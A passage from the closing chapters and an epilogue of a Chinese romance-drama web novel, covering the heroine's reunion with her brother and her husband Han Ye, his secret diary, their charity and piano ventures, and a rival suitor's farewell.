姜梨下床,站定在时樾面前。 时樾的嘴唇动了一下,“阿妹……” 话音未落,就结结实实挨了姜梨一巴掌。 洛骞和韩斯年相互对视了一眼,然后极其默契的走出了病房,将空间留给这对“阴阳相隔”过的兄妹。 “我真的以为你已经死了,”姜梨眼睛又红了,揪住他的衣领控诉,“你怎么能拿这种事情骗我!” 觉得不解气,姜梨又往他身上踹了一脚。 时樾站在原地一动不动的让她揍,还不忘解释:“只有你相信我死了别人才能信,对不起。” 她受了很多苦,为了报仇做了很多危险的事情,最后甚至搅进了漩涡的中心。 姜梨当然也知道这个道理,第一个巴掌打完她就已经消气了,后面打的这几下只是发泄心里的委屈,打了几下也不舍得再打了。 姜祈安也不是突然就变成时樾的,他也吃了好多苦,一个人走了好长一段艰难的路。 她吸了吸鼻子,然后问他:“海城姓宿的那个孩子是不是你的?” 就是去年她在火海里救下来的孩子。第169章) “我要是没猜错的话,他妈应该就是纪繁星的姐姐。” 第233章 大结局4 纪繁星说那孩子姓宿,并且宿家是谢家的姻亲的时候姜梨就猜到了个七七八八。 那男孩长得跟姜祈安有七分像,然后宿家又是谢家的姻亲,巧合太多就不是巧合了。 时樾点头承认,“当年查毒案的时候发现纪家有问题,然后装成保镖混进去了。纪家倒台的时候谢鹤枭救了纪繁星,我救了她姐,并且让谢鹤枭把人藏在了宿家。” 怪不得之前有段时间姜祈安老往海城跑,原来是去看嫂子了。 洛骞给姜梨检查的时候她坦白了,她没有复发都是装的,自残的戏码也都是演给韩聿泽看的。 只有失眠是真的。 洛骞理都没理她,按照病情给她开了药。 他是最顶级的心理医生,不至于看不出来病人的状态是真是假。 晚上的时候纪繁星也从樱洲回来了。 在和姜梨对视的那一刻,两个人抱头痛哭。 是为离世的挚友和亲人,也是为来之不易的胜利。她们赢了,但是赢得惨烈。 警队在两天后办了追悼会,祭奠那些光荣牺牲的警员,其中就有楚卿然。 姜梨原本是不去的,到底楚卿然是死在了她手里。洛骞给她做了心理治疗,跟她聊了一整个下午才跟她说通。 如果她不动手,那么楚卿然连具全尸都不会有。 最后姜梨还是去了,和纪繁星一起。 楚卿然在楚家卧底十余载,未婚无子,一生都奉献给了国家。 和他同一战线的战友也同样如此。 他们归国,不归家。 ——— 姜祈安选择了退役,以时樾的身份生活。 沈氏和姜氏合并改名为了青森,公司迁去了港城。姜梨对商业的事情是一点都不感兴趣,公司的重担都落在了时樾身上。 但是青森疗养院的这一板块是由姜梨全权负责,姜梨创办的青森和陆临的蓝鲸反响很不错,不少大佬都有投资入股。 有了资金周转,姜梨和陆临商议之后决定在港城开了第一家分院,总院是在樱洲。 三个月后,谢鹤扬和司南衍康复出院。 在这期间时樾和宿星晚,也就是纪繁星的姐姐举行了婚礼,姜梨被她收为了义妹,也圆了时樾和姜梨兄妹的身份。 纪繁星也对外说姓宿,换了一个全新的身份走入了大众视野。 她们什么都变了,但却又好似什么都没变。 姜梨去叶家走了一遭,叶辞已经醒了。 叶母原本想的是姜梨看不上叶辞,做不成儿媳就想认她当干女儿,但是叶辞没答应。 “她要是成了您的女儿不就是我妹了?我现在对她还是很不清白。我原本是正常的喜欢一个姑娘,您这么一搞我这不就成了喜欢妹妹的畜生了吗?” “再说了,那谁现在不是不知道啥时候回来吗?我又不是什么正人君子,趁人之危这事我也不是不能做……” 叶辞这话音还没落,叶母就拍了他后脑勺一巴掌。 “你这说的什么话?破坏他人婚姻可耻知不知道?!” 韩野现在是韩家大少爷,对姜梨的好他们也都看在眼里,没人能比他更好了,哪怕是叶辞都不一定能比得上。 叶母骂完他又转头看向姜梨,“阿愿,你别听他胡说八道!” “我这两个儿子一个中用的都没有,我想抱孙子的愿望可就寄托在你和韩野身上了!” 姜梨:“…….” 叶辞:“…….” 他的心口被扎了一刀,还是来自自己的亲妈。这当干女儿的事他不同意好像没什么用…….. 青梅竹马、追了十几年的人变成了妹妹。 叶辞郁闷了一会,突然对姜梨说:“你要是是我妹,那江淮之是不是得叫我哥?” 姜梨:“好像……应该……可能是吧?” “行。”叶辞抿了抿唇,“我等着。” “………”姜梨张了张嘴想说什么,但是想当他刚醒没多久不能受刺激又给憋了回去。 谢鹤京涉毒被捕,谢家是乱成了一锅粥,谢鹤枭抽不出身来,所以这三个月的时间一直都是姜梨和纪繁星在照看谢鹤扬。 今天他们要回港城了。 姜梨原本是不想这么快就回去的,但是时樾那边已经催了好多天了。 她不回去的话时樾就要过来抓人了。 这一去就不知道要什么时候回樱洲了,来送行的人挺多的,基本上都来了,包括司南衍。 只有司南赫和洛骞没来。洛骞是因为医院事多,有病人走不开。 司南赫不来的原因是姜梨三个月前抵达樱洲的第一件事就是把司南赫给暴揍了一顿,理由有两个。 一是南诗奕,二是韩野。 一个被他渣过,另一个被他投毒。 打的一点没收力,拳拳到肉往死里揍,最后还是洛骞怕姜梨真的把他揍死才去把她拉开。 姜梨对司南赫意见很大,他当然不敢来。 叶辞看着谢鹤扬说了一句:“谢二少,破坏别人婚姻是可耻的。” 谢鹤扬对他翻了个白眼,骂了他一句:“痴线。” 如果姜时愿和韩野没有结婚,那他倒是会趁人之危的去争一争。但是人都已经是夫妻了,他堂堂正正,干不出来这种事儿。 她又不喜欢他,满脑子都是韩野。 面上不提,但是有时候打盹儿在病房里睡着的时候喊的都是他的名字。 阮经颜和夏栎红着眼睛抱了一下姜梨,然后又去抱了抱纪繁星。 “怎么搞得跟生离死别似的,以后又不是不会回来。”陆临挑了一下眉梢,“梨妹妹,下个月见。” 下个月有个慈善晚宴,姜梨和陆临要出席。 姜梨回了他一句好。 等他们登机以后,所有人的目光齐刷刷的看向了陆临。 “你们看我干什么?”突然被六道视线盯住,陆临的头皮有点发麻。 叶辞出声:“没什么,就是想再说一遍,破坏别人婚姻是可耻的。” 陆临扬眉:“我本来就无耻。” “哼。”陆七和叶止同时不屑的冷哼。 夏栎精准补刀:“撬成功了那叫无耻。姜梨不喜欢你,那就跟流氓和强奸犯没区别了。” 陆临:“………” 第234章 大结局5他的日记 姜梨回了一趟韩家祖宅,陪了韩家老太太一个星期。问到韩野的时候姜梨骗她说韩氏英区那里出了大批漏,他去处理了暂时还回不来。 她特意找老夫人要了钥匙,晚上的时候进了韩野小时候住过的房间。 推开门扑面而来的就是一股尘味和霉味,她开了灯,家具上蒙着一层遮挡灰尘的布,窗帘拉的严密紧实。 水晶灯都结了蜘蛛网,地板也有一层灰。 刚刚老人家说他和他妈妈走了之后这间房子她是有定期打扫的,也没有上锁。一直到三年前韩野回来了一趟才上的锁,走的时候交代了任何人都不能进去。 老太太是疼他的,韩野的要求她当然会照做,三年都没让人进过那个房间,包括她自己。 姜时愿来过,布局跟记忆里的一模一样,没有变动。 她在床头柜的抽屉里找到了一本日记。韩野还会写日记? 犹豫了一下,姜时愿还是拿出来了。 翻开,里面还夹着一张皱皱巴巴的纸,以及一张彩色的便利贴。 看清楚字迹的一瞬间,姜时愿的脸立刻红温,连同捏着纸张的指尖都开始发烫。 便签是给他送药的那次写的,而那张皱皱的纸是因为他不理她,就骂了他一整张纸,还画了个人,在上面戳了好几个洞…… 当时差点被林遥看到,她就给丢进垃圾桶了。谁能想到狗男人会捡出来?还留了这么久,上面的字都被磨的有点看不清了。 她像丢烫手山芋一样把两张纸扔进了抽屉里,开始看他的日记。 2013.5.7 她选我了,我有点意外,我以为她忘记我就不会选我。但是我很开心,我终于能跟她回家了。 2013.7.9 她夸我漂亮,我就去戒毒所看韩伊了,谢谢她把我生的这么漂亮。 如果没有这张脸她大概不会靠近我。 2013.8.4 她跟大哥吵架吵哭了,她说大哥太凶,讨厌他。我以后不敢跟她讲道理,她也会讨厌我。 2014.1.27 生日她给了我很厚的红包,说是她自己存的钱,她说以后每一年都会陪我过生日。我许愿了,许愿未来能赚到很多钱,全部都给她。 2014.6.23 她要跟我学书法,她不想理大哥,他太凶了。 她说我温柔,不会骂她。我知道了,她喜欢温柔的男生。我把自己包装成了一个温文尔雅的绅士,夜深的时候又总会唾弃自己的虚伪。 我要是真的这么温柔就好了,她就会喜欢上真正的我。 2015.3.23 这段时间她总是做噩梦,惊醒的时候总会跑到我的房间里。她越来越依赖我了,毫不避讳向我展示她的脆弱和无助。 她说:哥哥我害怕,你抱抱我好吗? 我没有抱她,也不想当她哥哥。 2017.7.13 我回司家了。刚离开我就做梦了,梦里都是她。 江淮之是畜生。 2018.6.20 我想要永远跟她在一起,娶到公主的从来都不是骑士,而是王子。 阿愿,阿愿,阿愿。 我爱她,我真的好想她。 2019.3.22 今天是她生日,她喝醉亲了我。 她好软又好烫,差点儿烧断我的理智。如果没有人在,我想欺负她。 江淮之是畜生。 2020.1.4 我不顾和大哥的约定偷偷去了美国看了她。 她的眼睛缠着白色的纱布,她看不到了,但是她时时刻刻都在喊我的名字,不断的询问我什么时候来看她。 她说她好痛,我也好痛,痛到想要毁了全世界。 大哥答应我留下来三天。 离开的时候她睡着了,我又一次忍不住偷吻了她。 2021.7.7 我喝醉了,梦里又看到她了。 我像之前的无数次那样对她做了很过分的事情。亲吻她、撕咬她、揉碎她。 可这次的她一点也不乖,哭得好厉害,她让我不要碰她,可我想要她。不论是生理还是心理,我都想要她。 她骂我是混蛋。 我反驳她:不是混蛋,是禽兽。 不过她大概没有听到,还没说完她就推开我跑了。 2021.10.3 我遇到了世界上最好的人,她让我原谅了所有的痛和恨。我一定要变成世上最好的人,然后把她娶回家。 我好爱她。 日记到这就结束了。 姜时愿捧着日记本的手都在轻颤,心跳不断加快,眼眶渐红。 然后姜时愿又在他书桌的抽屉里找到了她小时候给他的那些糖,一罐一罐整整齐齐的摆放在抽屉里,还有一沓照片。 是她高中时期的照片,角度都是偷拍的。 还有一些是她以前参加钢琴比赛的场照,也不知道他是从哪弄到手的。 姜时愿既震惊心疼,又觉得他闷骚变态。 难怪他要上锁不让人进来。姜时愿年纪小,这要是被人看见不把他当成恋童癖才怪。 姜时愿把东西收好放回了原位,第二天早上她自己把这间屋子从里到外打扫了一遍。 ——— 姜时愿在港城开了一家钢琴机构,当上了钢琴教师。 半年的时间里她已经斩获了多项钢琴赛的冠军。只要是她参赛,金奖都是落在她手里。 时樾被誉为钢琴界的天才,作为前辈给她颁过奖。姜时愿是宿星晚的义妹,自然也是时樾的妹妹。 在记者面前时樾也毫不避讳两人的关系,在记者提及对姜时愿的看法时,他满眼都是难掩的骄傲,“她从四岁就已经开始学琴了,不可否认她的确是天赋型选手,天生就是弹琴的料。” “但是并没有因为天赋异禀就懈怠练琴,她很努力也很刻苦。天赋和努力并存,就注定她会站在金字塔的最顶端。” 姜时愿的钢琴是他一手教出来的,他用心浇灌的玫瑰经历这么多的风雨依旧盛开的漂亮,时樾自然会毫不吝啬的夸奖她。 有了时樾的评价,姜时愿的钢琴机构非常火爆,她手底下的学生小至五六岁,大的也不过十三四岁,都非常喜欢她这个老师。 长得漂亮,性格好,教学水平还很高。 没有小朋友会不喜欢这样的老师。 日子并不是波澜不惊。 韩野长时间不露面,外界的人已经有了两人婚变的传闻,甚至最后还传出来姜时愿婚内出轨的谣言。 一个月前是传她出轨谢鹤扬,刚澄清不到两个月,七月份的时候又说她出轨陆临。 邪门的是居然真的有人磕她和陆临的cp,这么一搞就炸出来了一堆的cp粉。 还没等姜时愿发澄清的微博,韩野那边就先发了一条微博。 “因为工作原因才导致聚少离多,我和我妻子感情很好。如再有造谣者,律师函警告。” 配图是一张交握的照片,能看到两个人无名指上的婚戒。 姜时愿注意到id是在英国,应该是他让谢铭和舒羽代发的,他们俩现在就在韩氏集团英区的分公司。 这么会偷拍,他还挺适合当狗仔的。 抿了抿唇,点了转发。 紧接着就是陆临点了赞,并且转发。不过一分钟,韩氏集团官方微博也转发了这条微博。 一年后—— 第235章 大结局6我回来了 姜梨开的钢琴机构现在已经是全国连锁了,叫做“琴湾”,宿繁星也投资成了合伙人,港城的第二家分店就是她在负责。 “琴湾”发展的很好,“青森和蓝鲸”也一直都在走上坡路。 这一年姜时愿忙的日夜颠倒,在和陆临的共同努力之下,青森和蓝鲸陆续在江城、南城和海城设立了分院。 两年不到的时间,已经帮扶了五百名儿童,其中绝大部分都是因各种疾病而被父母抛弃,得到了治疗之后也都能够正常生活。 青森和蓝鲸不仅有先进的医疗,教育也没有落下。因此这里的孩子更能得到那些上流人士的青睐,从而被收养。 已经有27个孩子被领走了。 “青森和蓝鲸”这个项目拿到了慈善奖的最高荣誉。陆临和姜时愿作为创办人,两个人的形象也被投放在了樱洲东方明珠以及维港的电子大屏幕上。 颁奖典礼是在港城举行。 陆临是内地人,不太听得懂粤语,主持人用普通话询问他们:“两位为什么会创办青森和蓝鲸?” “蓝鲸最开始其实是我大哥提出来的,但是因为他个人的原因一直没办法实施。” 陆璟去世的事情陆家一直都没有公开,陆临也没有提及太多,他说:“后来我才知道我大哥对已经逝去的南诗奕小姐情有独钟,因为她无父无母,过得不是很好,所以他才有了理念。” “南诗奕是我的二姐,她对我很好,所以我创办了蓝鲸。” 姜时愿有点惊讶,她是第一次知道这件事,陆临从来没有跟她说过。 “那时愿小姐是因为什么?” 姜时愿听到主持人的提问回过神,对着话筒说道:“因为我先生,帮助那些孩子就是在帮小时候的他。” “我身边的朋友都知道我的偶像是已经去世的姜祈安先生,在还没有跟我先生认识的时候我就很崇拜他,想成为像他那样的人。在跟我先生认识之后我对他又多了一份感激和尊重,很感谢他对我先生的帮扶和培养,也同样很感谢同样已经逝世的姜梨小姐。” “谢谢她当初选择了他。” 颁奖典礼结束,舒翎迎上去帮她接过花和奖杯,扶着她往外走。 舒翎现在是她的秘书。 庆功宴是在时樾家,姜时愿回幽谷居换掉礼服卸了妆才过去。 时樾今天临时有事所以不在,孩子放在了谢家。宿繁星和谢鹤枭的儿子已经会走路 宿星晚开了两瓶红酒,给他们都倒了一杯。 “你少喝点,不然等会回不去了。”谢鹤扬坐在姜时愿旁边,想到之前她喝完酒不认人的样子就忍不住提醒了一句。 宿星晚最后也只给她倒了半杯。 陆临单独跟姜时愿碰了一下,“恭喜,距离你想把青森开遍全世界的目标又近了一步。” 韩野刚走的那半年他的确想要撬墙角,当个破坏他人婚姻的可耻之徒,但是姜时愿直接把这个想法扼杀在了摇篮里。 她拒绝的干脆利落,陆临当然也很洒脱的抽身。 叶辞跟她青梅竹马,最后都放弃了选择当兄长,他又有什么放不下的? 还是那一句评价,姜时愿看着是一朵小白花,但实际上比谁都黑,性格刚烈的很。 带刺的玫瑰不是谁都配得上并且摘得下的。 姜时愿本来只喝半杯的,但是她和宿繁星凑在一起就喝高了。 但是她这次的酒品还挺好,没有什么骇人的举动。几个人玩牌的时候她的思路还很清晰,一路赢到底。 他们甚至都怀疑她没醉。 没玩多久,姜时愿在酒精的催化下靠在沙发上睡着了,宿星晚给她盖了一层薄被子。 剩下的人也没多留,走的时候谢鹤扬留了一个礼盒,“姐,这是送她的贺礼,跟她讲一声。” 宿星晚应了声好。 刚开门就碰上了回来的时越,还有韩野。 几个人皆是一愣,然后一下子就知道时越今天不惜推掉姜时愿的颁奖礼去处理的急事是什么事了。 他去机场接韩野了。 今天太晚了不太适合叙旧,只简单的打了声招呼。 韩野淡淡应着,抬眸看向陆临,说了一句:“恭喜。” 陆临勾唇:“谢谢。” ——— “大嫂。” 进门看到宿星晚韩野喊了她一声。 宿星晚点了点头,“阿愿刚刚跟繁星他们喝了点酒睡着了。家里还有客房,你们要不在这住一晚吧。” 韩野婉拒了。 他走到沙发旁,把人给叫醒。 姜时愿睁开眼睛,一眼就看到韩野那张俊脸。 “接你回家了。” 她眨了眨眼,然后慢吞吞站了起来,“哦,走吧。” ??就这样? 宿星晚对姜时愿平淡的反应感到震惊。 分别了一年多的丈夫突然回来了,难道不应该是抱着哭一哭? “她醉了,以为自己在做梦。”时樾贴心的给老婆做了解释。 宿星晚:“好吧。” 时樾把他们送回了幽谷居。 这个点季妍已经下班,阿野也趴在猫窝里呼呼大睡,家里静悄悄的。 韩野让她在沙发坐着,他进厨房泡蜂蜜水,可以解酒,明天起来会舒服点。 但是姜时愿不听他的,像个小尾巴似的一路跟着他进了厨房,直愣愣的盯着他看。 端着杯子喂到她嘴边,姜时愿抿了一口。 甜的,也不烫。然后一口气喝得干干净净。 韩野放下杯子,然后把她抱起来放到岛台上。淡粉色的唇瓣被蜂蜜水浸润泛着水光,他眸色渐深,手掌扣紧她的后脑勺深吻了下去。 像是濒死的鱼重新找到了水源,拼命的汲取甘泉。看她喘不上气,韩野松开她,缓和了几秒钟又吻下去。 韩野轻轻咬了她一下,姜时愿吃痛喊了一声。 分开的时候拉出了一条银丝。 韩野的额头贴着她的,微喘着粗气,声音又低又哑,“醒了吗?” 唇瓣的刺痛感让姜时愿混沌的脑子微微清醒了一些,她缓缓抬起手,手掌小心翼翼的贴在他脸上。 有温度,是热的,触感清晰真实。 姜时愿的鼻子泛酸,视线也变得越来越模糊。她动了动嘴唇,哽咽着喊了一声:“哥哥。” 韩野轻轻握住她的手腕,“嗯,不是做梦。” “阿愿,我回来了。” 第236章 我爱你从一而终(正文完) 卧室的陈设和大婚的时候一样,墙上挂着他们的结婚照,红色的绸缎和贴的“喜”字都没有撤走,连床上的四件套都还是大红色。 整间卧室“红光满面”。 “他们后来说你被调走不在港城了。” “你被调去哪里了?” “还有你回来为什么不第一个跟我说而是要跟我哥说?在你心里他比我重要吗?” 被窝里,姜时愿侧身紧紧搂着韩野的脖颈,问题一个接着一个。 “不是被调走,是戒毒成功提前释放了。”韩野一一回复:“出来的时候我觉得我状态不是最佳,韩家那边会被看出端倪,所以就飞到英国调养了四个月。” “我会看新闻,知道你忙才没有提前跟你说。” 韩野和她额头相贴,蹭了蹭她的鼻尖。眼尾很红,抱着她的力道不自觉收紧,像要把她揉进骨血里。 “阿愿,我好想你。” 他的声音很轻,像是在倾诉。闷闷的,听着好委屈。 姜时愿的心脏麻了一下,她也好想他。 每天晚上辗转反侧难以入睡,想象着韩野在抱着她才能勉强睡着。然而每天醒过来睁眼发现旁边的位置空空如也的时候,巨大的落差感能淹死她。 “是不是会很痛?”她突然问。 韩野还没回答她就开始了自问自答:“肯定很痛,不然你不会不让我去看你的。刚刚你也不让我掀你衣服,他们是不是会打………” “没有。”韩野抹掉她眼角掉出来的金豆子,“只是瘾犯的时候会很凶,怕会吓到你然后讨厌我。” 姜时愿小声反驳:“你以前瘾犯让我滚,我没怕你,也没有讨厌你。” 只有心疼。 韩野一愣:“什么?” “以前所有的事情我都想起来了。” 她断断续续说了很多,最后凝结成一句:“阿野,我爱你。” 强压下去的火突然又窜了起来,压着她又是一顿亲,差点儿擦枪走火。 最后还是忍了下来。 要给学生上课,要参加比赛,还要出席各种活动,几乎一天都没有休息过。尤其是最近一段时间。时樾说她经常赶夜班机,连时差都没有时间倒。 她的课表韩野看过,明天周六,小学和初中都有双休,所以排的很满。 哪里再忍心折腾她? 姜时愿喝了酒,加上她这段时间高强度的工作,韩野又在,没一会她就睡着了,只是胳膊依旧揽得很紧,生怕他会跑了似的。 韩野亲了亲她的眼皮,“晚安。” 第二天早上七点多宿繁星给姜时愿打了电话。 “你要不要把你的学生都叫到二店?我今天就排了三个学生,可以帮你代课。” 姜时愿:“啊?为什么?” “你今天还起得来?” “我昨晚没喝多少,不至于会醉到起不来。” “………”宿繁星沉默,她说的不是酒的事情。 姜时愿没有听出来,她看了一眼开车的韩野,“我已经在路上了。” 手机的声音不算小,韩野听的清楚,眉梢不受控制的挑了一下。 宿繁星没有再说什么。 到“琴湾”的时候还不到八点,大街上都没有几个人。 “琴湾”的钢琴老师不止她一个,但是学生没有这么多课程也没有这么满,一般都是九点半才上课。 而姜时愿第一节课是八点,最后一节课排到了七点半。 直到姜时愿的身影再也看不到,韩野才驱车去了韩氏集团,要跟韩斯年交接一下工作。 韩野那边还要应付韩老爷子,所以午休是舒翎跟姜时愿一起吃饭,两个人表面上是上下级的关系,但私下是以朋友相处。 “我姐和我姐夫明天就正常上班了。”舒翎说:“还是韩总牛逼,都不用倒时差。” 舒羽和谢铭两个人在差不多两年前的时候就在一起了,半年前在英国领的证。 姜时愿知道之后直接把份子钱转给了舒羽,金额很大。那个时候韩野还没出来,她就连着他那份一起给了。 “繁星姐和星晚姐都是小男孩,你要不要考虑要一个?如果是女儿我都不敢想会有多受宠。” 姜时愿捏着筷子的手一顿,突然就想到了流掉的那个孩子。 舒翎坐到了她旁边,声音刻意压低,“男人过了二十五岁就开始走下坡路了,韩总现在都30了,再不考虑的话就没有了。” 姜时愿:“………” ——— 晚上八点半结束,韩野来接她。 姜时愿看着路线是回家的路,忍不住说:“你刚回来,我们不去韩家吗?” 韩老爷子对韩野很好,爱屋及乌,对她这个孙媳妇也挺好的,包括韩斯年的父母也是。 韩野:“中午的时候我已经去过了。”“那奶奶那边你讲过了吗?” “嗯。”韩野说:“下个星期国庆,你有两天的休假,去祖宅那边看看她。” 姜时愿这两年如果有假期的话也是在祖宅过,基本不回韩家。韩老爷子对此没有意见,也不敢有意见,毕竟是他年轻的时候犯浑对不住韩老夫人在先的。 下车的时候韩野从后备箱里抱出来了一大束粉色的郁金香, 他今天穿的一身纯黑色的西装,气质内敛深沉,这束花跟他有点不太搭。 “是贺礼吗?”姜时愿把花接过来。 “嗯。”韩野点头,又摸出一条手链,戴在了她的手腕上,“昨天就要送你的,但是你醉了。” “我比谢鹤扬送的早。” 怎么这个也要比个先后? 姜时愿小声说了一句:“醋精。”然后低头看那条手链。 地下停车场的白炽灯很亮,让这条钻石手链更加光彩夺目,很漂亮,也很衬她。 “你怎么这么钟情钻石?” 这两年他虽然不在,但是她的生日还有情人节和七夕节他都提前给她准备了礼物,都是钻石珠宝。 虽然她确实都很喜欢,但是真的全是钻石。 姜时愿莫名想到了一个形容词,钻石王老五。 韩野低头看她,眼神温柔,“钻石最贵,也最漂亮,去专柜挑的时候它们也都放在了最中间的位置。” “公主当然要配最好的。” 这次的郁金香她没有再做成永生花。 之前做的就被韩野挂在了书房。 韩斯年还跟她说过,他有一次进书房跟韩野谈话的时候第一眼就看到了,还以为是画。就调侃他年纪越大品味就越年轻,把这么梦幻少女心的画摆在了最中间。 哪知韩野却跟他说:“这是我妻子亲手做的,里面的花是我送她的。” 永恒的爱,永不凋零的花。 姜时愿自此再也没办法直视那幅永生花,她总觉得有点羞耻。 发誓再也不做这种东西了,会被他挂满。 ——— 国庆姜时愿和韩野去了祖宅。 跟韩老爷子不一样,老夫人从不催生,这也是姜时愿更愿意来祖宅的原因。 他们今晚住在了四楼,韩野以前住过的那个房间,他今天又叫人从里到外都打扫了一遍。 素了好多天的男人今天突然变成了一头狼,掐着她的脖子亲,房间里都是让人脸红心跳的嘬吻声。 姜时愿推他,“这里不行,会被听到的………” 祖宅隔音效果不太好,老太太的房间就在楼下。 “奶奶今天不在这栋楼。”韩野轻轻咬了一下她的锁骨,“我想要你。” 姜时愿的耳朵发麻,身体发软。 突然下起了大雨,空气和她都变得潮湿。雨点砸下来发出噼里啪啦的声音。 是雨声,也是水声。 最后一次是在书桌上,姜时愿被他翻来覆去折腾了好几次,眼皮都哭红了,声音嘶哑:“我好累,我不要了………” 韩野的拇指蹭掉她的泪珠,轻喘着说:“乖,用粤语喊声哥哥。” 他今晚对这个很执着。 突然选在这个他们第一次见面的房间,还一直哄骗她叫哥哥………姜时愿想到了他的日记,觉得他挺有自知之明。 老畜生。 但是姜时愿没敢再嘴硬,刻意的夹了一下嗓子,软着声音用粤语喊他:“哥哥~” 十几秒后,姜时愿咬在了他的肩膀,骂他:“老变态!” 清洗完韩野换了床单,抱着她躺在床上。姜时愿的手指轻轻摸他心口处的一道十字形的粉色伤疤,是她打伤留下来的。 姜时愿的喉咙有点堵,心情低了下去。 他身上有很多疤,都是因为她留的。 她的嘴唇动了动,韩野像是知道她要说什么,食指竖在她唇前。 “这些都是勋章。”韩野握住她的手腕,轻轻的摩擦那道浅浅的痕迹,“阿愿救了落魄的骑士,又杀死了最恶毒的恶魔救了无辜的人民。” “我的阿愿是世界上最勇敢的公主。” 韩野低头亲了亲她的发顶。 “人民不知道小公主有多勇敢,但骑士知道。所以关于公主的一切他都会记得,所有的一切他甘之如饴。” 姜时愿抱住他,耳朵贴在他的胸口,伴随着心跳声的还有韩野的声音。 “阿愿,我爱你。” 从一而终。 ———正文完 第237章 谢鹤扬番外 谢鹤扬在国庆假期结束之后和韩斯年一起回了禁毒大队,归队的前一天差人给姜时愿送了很多东西。 跟当初韩家送来的聘礼一样多。 这不是寻常送礼,实在是过于贵重,姜时愿是不打算收的。但是送东西来的人给了她一封红包,红包封面上的字是谢鹤扬亲手写的。 祝:新郎韩野,新娘姜时愿。 鸳鸯交颈期千岁, 琴瑟谐和愿百年。 挚友:谢鹤扬。 “韩太太,这是我们二少爷给您的新婚礼,也是他给您的一份嫁妆。” 最后姜时愿还是收下了。 等谢鹤扬结婚的时候,她也会给他置办相同价值的礼。 清点的时候姜时愿还是被震惊到了。 除了古董瓷器和钻石珠宝外,连婴孩的衣服、碗筷、还有长命锁,男款和女款都分别备了好几套。 姜时愿:“………” 还有一套黄金的首饰极其奢华。 去掉常说的五金还有一顶凤冠和一支玫瑰发簪,打开的时候差点儿没闪瞎她的眼睛,当真是金光闪闪,比钻石都要亮。 光是那顶凤冠就已经足足三斤重了,所有的饰品加起来一共足足六斤重。好在那顶凤冠不是什么文物,是普通用金打造出来的。 所有的东西加起来价值千万,这新婚礼实在是………过于贵重。 不过姜时愿不会知道原本要送她的凤冠是谢鹤扬母亲大婚的时候用的,是古代的皇后凤冠,传世珍品。 她也不会知道谢鹤扬送她的新婚礼,是他早就已经准备好的聘礼,在他亲口说想要娶她回谢家的那次。(第102章) 谁都认为他是说玩笑话,但是他回来之后就跟他母亲认真的说了这个问题,他想娶她,哪怕倒反天罡,她真的跟那些人说的一样是个恶女他也想娶。 后来姜时愿跟他说,她敬仰警察,也会去救一名落难的警察,但是她绝对不会爱上警察。她想要的,是只忠于她一个人的爱人。(第146章) 直到那个时候谢鹤扬才突然醒悟。 姜祈安是警察,他疼爱妹妹是真,但是在国家面前,妹妹也只能排在其次。 小小年纪的姜时愿忍受了多少孤独?又经历了多少生离死别?她再也经不起被抛弃以及爱人离世的打击了,又怎么可能会爱上警察。 他曾信誓旦旦的告诉姜时愿,他不会违背自己的信仰。但是在姜时愿说出这句话的一瞬间,他有一丝的后悔,后悔自己选择了这条路。 后来时樾跟他说过,他永远愧对他的家人,尤其是姜时愿。 楚云和姜铭生的感情早就已经破裂,她爱的人是韩聿言。沈月汐的身份姜祈安早就知晓,所以对她一直不亲近。楚云第一次提离婚的时候姜铭生拒绝了,并且强迫了她,然后才有了姜时愿。 他们为她取了一个满是诅咒的名字,姜梨,她注定是一个没有爸妈疼爱的孩子。 在三个孩子里,她是被抛弃的那个。离婚的时候姜铭生没有选她,楚云也没有选她。 姜祈安也没有选她。 他把她带回来之后也总是在出任务,所有重要的日子里他都没有出席过。在国家大义和妹妹两者之间,他选择了前者。 但是韩野不同,他只要姜时愿。 他做的一切都是为了她,包括活着这件事。 时樾坦言:“就算她真的爱上了你我也一定不会同意,我会像阻挠韩聿泽那样阻挠你。” “我妹妹的爱人不能是犯罪分子,也不能是警察。一定要是站在最顶尖最有权势的男人。” “如果我们的父母感情很好,阿愿就是千金大小姐。退一步来说,如果楚云和楚家不那么畜生,阿愿也是港城楚家的小小姐。” “她聪明又大方,琴棋书画样样精通,连古代的君子六艺她也毫不逊色。当然只有最好的男人才配得起她。” 叶辞原先是姜祈安心目中最合适的人选,但是姜时愿并不喜欢,一直到见到韩野,姜祈安才转移目标。 撇去姜时愿喜欢这一条必要条件不谈,韩野都比叶辞合适的多。除了尊贵的身份,他一无所有,他的生命里只有姜时愿一个人,为了她,韩野可以连命都不要。 “谢鹤扬,你输给阿野真的一点也不冤。” “没人比他更爱阿愿,连我这个亲哥都自叹不如。” 时樾没说错,他输给韩野的确不冤。 至此,谢鹤扬放下了执念,跟韩斯年一起回到了禁毒大队,继续践行他保家卫国的信仰。 走的时候什么也没带,只带走了五年前姜时愿给他包扎伤口的丝巾手帕,还是他从姜时愿那儿偷回来的。(第96章) 往后的无数个日夜,他时不时都会拿出这方手帕睹物思人。 玫瑰过于漂亮,没摘到也总叫人念念不忘。 禁毒任务艰巨,谢鹤扬跟从前好友的聊天次数少之又少,经常大半年才回复他们的信息。 在第三年年底的时候谢鹤扬收到了谢鹤枭寄来的照片,有谢家的,也有姜时愿和韩野的。 她和韩野有了一个女儿,叫韩昕愿,在这一年已经两岁。长得像韩野多一点,尤其是那双眼睛,简直如出一辙,孩子手上和脖子上戴的是他走时送去的长命锁。 谢鹤扬将那张照片看了许久,然后唇角扯出一点弧度。 韩昕愿,连名字都是父母相爱的证明。 那个带着母亲怨恨诅咒的姑娘如今有了一个幸福美满的家庭,楚云对她的诅咒终究是没有应验。 真好。 谢鹤扬在每张照片的背后都写上了平安顺遂,然后收进了一个带锁的盒子里。里面的东西不多,有临走时母亲在寺庙求的平安福还有平安锁,一些谢鹤枭寄给他的信和照片。 他是缉毒警,经常奔波在枪林弹雨之中。 这里面的所有东西在将来的某一天会是他的遗物,但那朵玫瑰不是。 她永远都只能存在于他的脑海中,哪怕是他身死,她都只能是他的一个念想,只能他自己知晓。 第238章 岁岁年年 姜时愿这次怀孕的反应没有上次那么大,以为是身体太累了导致的就没有太在意,在春晚舞台上演出结束后在后台晕倒了。 这才检查出来已经怀孕一个多月了。 回家以后韩野和姜时愿因为工作的事情吵了一架。怀孕本就辛苦,韩野就想让她推掉手下的所有工作安心养胎。 但是姜时愿不乐意,说到最后还单方面玩起了冷战,不管韩野说什么她都不吭声。 最后是韩野妥协,同意她继续给学生上课。姜时愿也退了一步,课程减了一半。 一直到五个月的时候姜时愿才把工作全部推掉,各大活动上都只有陆临一个人,钢琴赛场上也不再有她的影子。 